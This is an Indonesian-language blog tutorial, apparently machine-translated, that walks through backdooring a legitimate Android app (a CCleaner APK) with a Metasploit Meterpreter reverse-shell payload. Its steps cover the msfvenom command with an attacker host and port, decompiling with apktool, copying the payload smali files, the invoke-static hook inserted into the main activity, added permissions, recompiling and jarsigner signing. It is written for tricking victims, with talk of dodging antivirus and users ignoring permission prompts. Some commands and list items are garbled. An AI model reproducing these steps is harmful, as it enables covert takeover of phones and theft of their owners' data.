Membangun Aplikasi Android untuk Peretasan
Salam rekan-rekan peretas yang bercita-cita tinggi,
Pengantar Smartphone
Dunia berkontraksi dan menjadi lebih kecil dengan pertumbuhan teknologi ponsel. Setiap hari berlalu dengan jumlah pengguna smartphone yang meningkat pesat dan dengan fasilitas untuk mendukung teknologi. Dunia dimulai dengan handset biasa sederhana yang digunakan hanya untuk membuat panggilan telepon, mengatur alarm, memainkan permainan ular, balapan F1, Sudoku. Sekarang, Smartphone telah mengubah hidup kita dan telah menjadi bagian dari kita. Mereka tidak hanya digunakan untuk melakukan panggilan lagi, tetapi sekarang memiliki kegunaan yang tak terhitung dan tak terhitung jumlahnya. Sebagai tambahan beberapa, mereka dapat digunakan sebagai perangkat kamera, pemutar musik, pengontrol televisi, browser web dan mengakses layanan web, mengirim dan menerima pesan online dan pesan berbasis jaringan, dll. Smartphone telah menjadi lebih dari sekadar perangkat atau alat atau perangkat yang dapat kita gunakan hari ini dan membuangnya di tempat sampah besok, mereka agak muncul sebagai teman sekunder kita. Kami berbicara dengan mereka, melakukan tugas, berolahraga dengan mereka, mengobrol dengan mereka, bermain dengan mereka dan melakukan hal-hal membosankan lainnya dengan mereka. Smartphone sekarang memiliki fungsi canggih yang tidak pernah diimpikan oleh umat manusia. Anda memiliki Smartphone dan saya tidak perlu membahas semua fungsi dan efeknya pada hidup Anda.
Mengapa Dikembangkan untuk Platform Android Atau Ponsel Cerdas Android?
Orang akan bertanya. Android adalah sistem operasi terpopuler di dunia untuk smartphone. Android Inc didirikan di Palo Alto, California, AS oleh Andy Rubin, Rich miner, Nick sears, dan Chris White pada tahun 2003. Kemudian, Android Inc. diakuisisi oleh Google pada tahun 2005. Setelah rilis asli ada sejumlah pembaruan dalam versi aslinya. versi Android. Smartphone modern dikembangkan dengan Android sebagai bekal yang beroperasi dan Anda mungkin bertanya-tanya mengapa perusahaan besar waktu akan memproduksi ponsel dengan Android sebagai sistem operasinya.
Ya, Anda membacanya dengan benar, Android adalah open source . Istilah ' open source ' terdengar cukup akrab, bukan? Sumber terbuka berarti perangkat lunak dengan kode sumber dan file yang tersedia untuk modifikasi dan terikat pada perjanjian lisensi sumber terbuka. Ini pada dasarnya berarti perusahaan termasuk Samsung, HTC, LG, dan merek lain yang kurang dikenal memproduksi produk mereka dengan modifikasi dan penyesuaian mereka sendiri. Itu sebabnya setiap perangkat Android berbeda masing-masing pabrikan suka memutar sendiri. Ini menyelamatkan mereka dari sakit kepala dan kesulitan menulis sistem operasi mereka sendiri untuk perangkat mereka. Mereka hanya mendorong Android ke inti produk mereka.
Tapi mari kita berpikir sejenak, Jika semua perusahaan ini memproduksi perangkat dengan Android sebagai sistem operasi mereka maka pada dasarnya mengembangkan dan mengeksploitasi kelemahan dalam sistem operasi Android memberikan semua perusahaan ini dan membuat hidup mereka sengsara karena mereka harus datang dengan tambalan untuk produk mereka.
Kelemahan seperti stagefright selalu mengirim perusahaan-perusahaan ini mengetik 1000 huruf per detik ke dalam produk mereka karena mereka tidak ingin pelanggan mereka meneriaki mereka.
- Stagefright - Stagefright adalah nama panggilan yang diberikan untuk potensi eksploitasi yang hidup cukup dalam di dalam sistem operasi Android itu sendiri
Juga, mengembangkan aplikasi android membuat aplikasi berjalan pada sistem berbasis Android apa pun produsen atau mereknya.
Juga pengguna OS android meningkat pesat yang membutuhkan eksplorasi dan eksploitasi platform android
Mengapa Saya Masih Berkembang untuk Platform Android?
Pengguna Android dapat mengunduh aplikasi dari Play Store dan juga mengunduh aplikasi yang dikembangkan oleh pengembang pihak ketiga dan menggunakannya. Ada banyak game, aplikasi, dan widget yang tersedia di pasar untuk pengguna.
Aplikasi Android ditulis dalam bahasa pemrograman java. Android tersedia sebagai sumber terbuka bagi pengembang untuk mengembangkan aplikasi yang dapat digunakan lebih lanjut untuk berjualan di pasar android. Ada sekitar 200000 aplikasi yang dikembangkan untuk android dengan lebih dari 3 miliar unduhan. Android mengandalkan Linux versi 2.6 untuk layanan sistem inti seperti keamanan, manajemen memori, manajemen proses, tumpukan jaringan, dan model driver
Sebagai calon peretas, Memiliki keterampilan yang berbeda dan penting adalah suatu keharusan dan harus menjadi bagian dari budaya peretas karena pengetahuan adalah kekuatan dan tanpa kekuatan, pada dasarnya Anda tidak berguna. Sebagai peretas kadang-kadang kita dihadapkan pada situasi di mana kita perlu berkompromi dengan masing-masing ponsel cerdas karena mengandung lebih banyak informasi daripada Windows Registry. Ketika individu rata-rata menyerahkan ponsel mereka kepada Anda, waktu maksimal yang dapat Anda habiskan dengan ponsel mereka adalah sekitar 4 detik karena mereka ingin ponsel mereka kembali untuk barang-barang lainnya. Jika individu rata-rata menjadi target, Anda harus menginstal sesuatu yang persisten dan memungkinkan Anda mengakses telepon korban setelah Anda menyerahkan telepon. Komunitas Metasploit memberi kami kehormatan untuk mengembangkan aplikasi android. Tapi, mari kita hadapi itu. Tidak peduli berapa kali Anda menyandikan aplikasi, perangkat lunak Antivirus selalu mengambilnya. Solusinya pada dasarnya adalah mengembangkan milik Anda sendiri.
Dan itulah yang akan menjadi seri tentang: Mengembangkan Aplikasi Android.
Apa Yang Diharapkan?
- Saya tidak akan mengajari Anda cara meretas masing-masing ponsel cerdas.
- Rekayasa Sosial adalah kunci untuk seri ini dan semua serangan tergantung pada kreativitas Anda.
- Kami akan mengembangkan aplikasi untuk Platform Android
- Ini akan menjengkelkan bagi orang yang sudah memiliki pengetahuan tentang Pengembangan Android karena pada dasarnya saya akan meluangkan waktu untuk menjelaskan setiap hal
- Kami akan mengakses fungsi ponsel dan membuat layanan berbasis web untuk menangani data yang dicuri dari korban. Saya tidak akan mengatakan dicuri karena kami akan bekerja dalam kerangka Etika Peretasan.
- Seri ini akan menjadi sangat panjang dan terlambat karena studi saya masih dalam proses dan akan berakhir tahun depan Juni. Tapi saya masih berjanji untuk memperbarui pada saat-saat seperti liburan dan perayaan tertentu.
Produk andalan Metasploit, Meterpreter, sangat kuat dan merupakan muatan serba guna. Setelah diinstal pada mesin korban, kita dapat melakukan apa pun yang kita inginkan ke sistem mereka dengan mengirimkan perintah kepadanya. Misalnya kita bisa mengambil data sensitif dari sistem yang dikompromikan.
Payload Meterpreter juga hadir sebagai file .apk yang dapat diinstal untuk sistem Android. Besar! Sekarang kita dapat menggunakan Metasploit untuk berkompromi dengan ponsel Android juga. Tetapi jika Anda telah mencoba payload ini, Anda akan tahu bahwa mereka tidak terlihat meyakinkan. Tidak ada orang waras yang akan menginstal dan menjalankan aplikasi semacam itu yang tampaknya tidak melakukan apa-apa saat dibuka. Jadi bagaimana kita membuat korban menjalankan aplikasi payload di ponsel mereka?
Salah satu solusinya adalah Anda dapat menanamkan muatan di dalam aplikasi lain yang sah. Aplikasi akan terlihat dan berperilaku persis seperti yang asli, sehingga korban bahkan tidak akan tahu bahwa sistemnya terganggu. Itulah yang akan kita lakukan dalam tutorial ini.
PRE-REQUISTICS:
Tutorial ini didasarkan pada Sistem Operasi Kali Linux. Saya yakin itu bisa dilakukan di OS lain, terutama Linux Distro, tetapi itu akan melibatkan beberapa komplikasi jadi saya tidak akan membahasnya. Jika Anda serius tentang Peretasan atau Pengujian Penetrasi, jika Anda mau, Anda harus menggunakan Kali seperti yang dibangun khusus untuk Pengujian Pena.
Kami juga akan memerlukan beberapa perpustakaan dan alat dalam langkah-langkah berikut, jadi saya pikir lebih baik jika Anda menginstalnya sekarang.
Untuk menginstal perpustakaan yang diperlukan, masukkan perintah ini di konsol:
apt-get install lib32stdc ++ 6 lib32ncurses5 lib32z1 _
Juga unduh apk yang Anda ingin backdoor-ed dari sumber apa pun yang Anda suka. Lakukan saja pencarian google "app_name apk unduh" dan Google akan menghasilkan banyak hasil. Simpan apk itu di folder root.
GAMBARAN SINGKAT:
Karena tutorial ini agak panjang, saya memberikan gambaran singkat tentang apa yang akan kita lakukan di sini.
1.Hasilkan payload Meterpreter 2.Decompile payload dan apk asli
3. Salin file payload ke apk asli
4. Masukkan suntikan ke dalam aktivitas yang sesuai dari apk asli
5. Masukkan suntikan izin dalam file AndroidManifest.xml
6 .Kompilasi ulang apk asli
7.Masukkan apk menggunakan Jarsigner
Itu saja. Saya juga akan menunjukkan kepada Anda bagaimana Anda bisa mendapatkan sesi Meterpreter yang berfungsi menggunakan apk backdoored, jika Anda belum tahu itu. Jadi mari kita mulai.
Langkah 1Hasilkan PAYLOAD:
Pertama-tama, kita harus melakukan payload Meterpreter. Kami akan menggunakan MSFVenom untuk ini. Perintah adalah-
msfvenom -p android / meterpreter / Payload_Type LHOST = IP_Address LPORT = Incoming_Port -o meterpreter.apk
Ganti Payload_Type dengan salah satu dari payload berikut yang tersedia. Fungsi semua payload ini sama, pada dasarnya mereka semua payload Meterpreter, perbedaannya hanya pada metode yang mereka gunakan untuk menghubungkan ke sistem Kali Anda. Payload_Types yang tersedia adalah -
1.reversetcp
2.reverse_http
3.reverse_https
2.reverse_http
3.reverse_https
Anda dapat menggunakan salah satu yang Anda suka, saya akan menggunakan reverse_https sebagai contoh.
Ganti IP_Address dengan alamat IP yang tujuan payload akan terhubung kembali yaitu alamat IP sistem penyerang. Jika Anda akan melakukan serangan ini melalui jaringan lokal (mis. Jika korban dan penyerang terhubung ke hotspot WiFi yang sama), IP Lokal Anda sudah cukup. Untuk mengetahui apa IP lokal Anda, jalankan perintah -
ifconfig
Jika Anda akan melakukan serangan ini melalui Internet, Anda harus menggunakan alamat IP publik Anda, dan mengkonfigurasi router Anda dengan benar (mengatur port forwarding) sehingga sistem Anda dapat diakses dari Internet. Untuk mengetahui IP publik Anda, cukup google "IP Saya" dan Google akan membantu Anda.
Ganti Incoming_Port dengan port no. yang Anda ingin digunakan oleh payload untuk terhubung ke sistem Anda. Ini bisa berupa port apa saja yang valid kecuali yang dicadangkan seperti port 80 (HTTP). Saya akan menggunakan 4895 sebagai contoh.
Jadi jalankan perintah menggunakan mengganti kata kunci dengan nilai-nilai yang sesuai dan MSFVenom akan menghasilkan payload "meterpreter.apk" di direktori root. Perhatikan bahwa kami menentukan nama file output menggunakan argumen "-o meterpreter.apk" pada perintah, jadi jika Anda suka, Anda dapat memberi nama apa pun juga.
Langkah 2MENYESUAIKAN APK:
Sekarang kita harus mendekompilasi APKs untuk ini kita akan menggunakan APKTool. Ini mendekompilasi kode ke format yang cukup dapat dibaca manusia dan menyimpannya dalam file .smali, dan juga berhasil mengekstrak file .xml. Dengan asumsi Anda telah menginstal apktool terbaru dan juga memiliki file apk asli di direktori root, jalankan perintah berikut -
apktool d -f -o payload /root/meterpreter.apk
apktool d -f -o asli / root / Original_APK_Name
Ini akan mendekompilasi payload ke direktori "/ root / payload" dan apk asli ke direktori "/ root / original".
Langkah 3SALINKAN PAYLOAD FILE:
Sekarang kita harus menyalin file payload ke folder aplikasi asli. Cukup buka "/ root / payload / smali / com / metasploit / stage" dan salin semua file .smali yang nama filenya berisi kata 'payload'. Sekarang tempel di "/ root / original / smali / com / metasploit / stage". Perhatikan bahwa folder ini tidak ada, jadi Anda harus membuatnya.
Langkah 4INJECT the HOOK dalam KODE ORIGINAL .SMALI:
Pada langkah sebelumnya, kami hanya menyalin kode payload di dalam apk asli, sehingga ketika apk asli dikompilasi ulang, itu akan berisi muatan. Tetapi itu tidak selalu berarti bahwa payload akan berjalan. Untuk memastikan payload berjalan, kita harus menyuntikkan hook pada kode .smali apk asli. Jika Anda bertanya-tanya apa hal kait yang saya bicarakan ini, pada dasarnya itu adalah kode yang memotong beberapa panggilan fungsi tertentu dan bereaksi terhadapnya. Dalam hal ini, kita akan menempatkan pengait sehingga ketika aplikasi diluncurkan, itu juga akan meluncurkan payload dengannya.
Untuk ini pertama-tama kita harus mencari tahu kegiatan mana yang harus disederhanakan, kegiatan adalah bagian dari kode, mirip dengan bingkai dalam pemrograman windows yang dijalankan ketika aplikasi diluncurkan. Kami bisa mendapatkan info ini dari file AndroidManifest.xml.
Jadi buka file AndroidManifest.xml yang terletak di dalam folder "/ root / asli" menggunakan editor teks apa pun. Jika Anda tahu HTML, maka file ini akan terlihat familier bagi Anda. Keduanya pada dasarnya adalah Bahasa Markup, dan keduanya menggunakan tag yang dikenal dan struktur atribut mis. <Tag attribute = "value"> Content </tag>. Pokoknya, cari tag <activity> yang berisi kedua baris -
_ <action android: name = "android.intent.action.MAIN" />
<kategori android: name = "android.intent.category.LAUNCHER" /> _
<kategori android: name = "android.intent.category.LAUNCHER" /> _
Di samping catatan, Anda dapat menggunakan CTRL + F untuk mencari di dalam dokumen di editor teks GUI apa pun. Saat Anda menemukan aktivitas itu, perhatikan nilai atribut "android: name". Dalam kasus saya, seperti yang dapat Anda lihat dari tangkapan layar di bawah, ini adalah "com.piriform.ccleaner.ui.activity.MainActivity".
2 baris yang kami cari menandakan bahwa ini adalah aktivitas yang akan dimulai ketika kami meluncurkan aplikasi dari ikon peluncur, dan juga ini adalah aktivitas UTAMA yang mirip dengan fungsi 'utama' dalam pemrograman tradisional.
Sekarang kita memiliki nama kegiatan yang ingin kita masukkan, mari kita mulai! Pertama-tama, buka kode .smali dari aktivitas itu menggunakan gedit. Cukup buka terminal dan ketik -
gedit / root / original / smali / Activity_Path
Ganti Activity_Path dengan "android: name" aktivitas, tetapi sebagai ganti dari titik-titik, ketik slash. Sebenarnya kode smali disimpan dalam folder bernama dalam format "android: name", jadi kita dapat dengan mudah mendapatkan lokasi kode .smali dengan cara yang kita lakukan. Periksa tangkapan layar di bawah ini dan Anda akan mendapatkan gagasan tentang apa yang ingin saya katakan.
Sekarang cari baris berikut dalam kode smali menggunakan CTRL + F -
; -> onCreate (Landroid / os / Bundle;) V
Saat Anda menemukannya, rekatkan kode berikut di baris sebelahnya -
invoke-static {p0}, Lcom / metasploit / stage / Payload; -> start (Landroid / content / Context;) V
Apa yang kami lakukan di sini adalah menyisipkan kode yang memulai muatan di samping kode yang ada yang dijalankan ketika aktivitas dimulai. Sekarang, simpan file smali yang diedit.
Langkah 5INJECT IZIN YANG DIPERLUKAN:
Dari developer.android.com -
Fitur keamanan tambahan yang lebih halus disediakan melalui mekanisme "izin" yang memberlakukan pembatasan pada operasi tertentu yang dapat dilakukan oleh proses tertentu.
Jika kami tidak menyebutkan semua izin tambahan yang akan dibutuhkan muatan kami, itu tidak dapat berfungsi dengan baik. Saat memasang aplikasi, izin ini ditunjukkan kepada pengguna. Tetapi sebagian besar pengguna tidak peduli untuk membaca semua teks yang membosankan itu, jadi kami tidak perlu terlalu khawatir tentang itu.
Izin ini juga tercantum dalam file AndroidManifest yang sebelumnya ditemukan. Jadi mari kita buka AndroidManifest.xml dari aplikasi asli dan payload dari folder masing-masing. Izin disebutkan di dalam tag <uses-permission> sebagai atribut 'android: name'. Salin garis izin tambahan dari AndroidManifest Payload ke yang asli aplikasi. Tapi hati-hati jangan sampai ada duplikat.
Inilah AndroidManifest aplikasi asli saya sebelum mengedit -
Setelah menambahkan yang tambahan dari AndroidManifest Payload, /root/original/AndroidManifest.xml saya terlihat seperti ini -
Langkah 6MENYARANKAN APK ASLI:
Sekarang semua yang sulit sudah selesai! Kami hanya perlu mengkompilasi ulang aplikasi backdoored menjadi apk yang dapat diinstal. Jalankan perintah berikut -
apktool b / root / asli
Anda sekarang akan memiliki apk yang dikompilasi di dalam direktori "/ root / original / dist". Tapi, kita masih belum selesai.
Langkah 7MENDAFTAR APK:
Ini juga merupakan langkah yang sangat penting, karena dalam sebagian besar kasus, apk yang tidak ditandatangani tidak dapat diinstal. Dari developer.android.com -
Android mengharuskan semua aplikasi ditandatangani secara digital dengan sertifikat sebelum bisa dipasang. Android menggunakan sertifikat ini untuk mengidentifikasi pembuat aplikasi, dan sertifikat tidak perlu ditandatangani oleh otoritas sertifikat. Aplikasi Android sering menggunakan sertifikat yang ditandatangani sendiri. Pengembang aplikasi memegang kunci pribadi sertifikat.
Dalam hal ini kita akan menandatangani apk menggunakan kunci debug android default. Jalankan saja perintah berikut -
jarsigner -verbose -keystore ~ / .android / debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA apk_path androiddebugkey
Pastikan untuk mengganti apk_path dalam perintah di atas dengan path ke file apk backdoored Anda.
KEUNTUNGAN?!:
Sekarang jika Anda bisa membuat korban menginstal dan menjalankan aplikasi yang tampak sangat sah ini di teleponnya, Anda bisa mendapatkan sesi meter meter yang berfungsi di teleponnya!
Jika Anda menghadapi kesulitan, tolong beri tahu saya di komentar. Terima kasih sudah membaca!
Comments
Post a Comment
WeLcOmE TO My SiTeS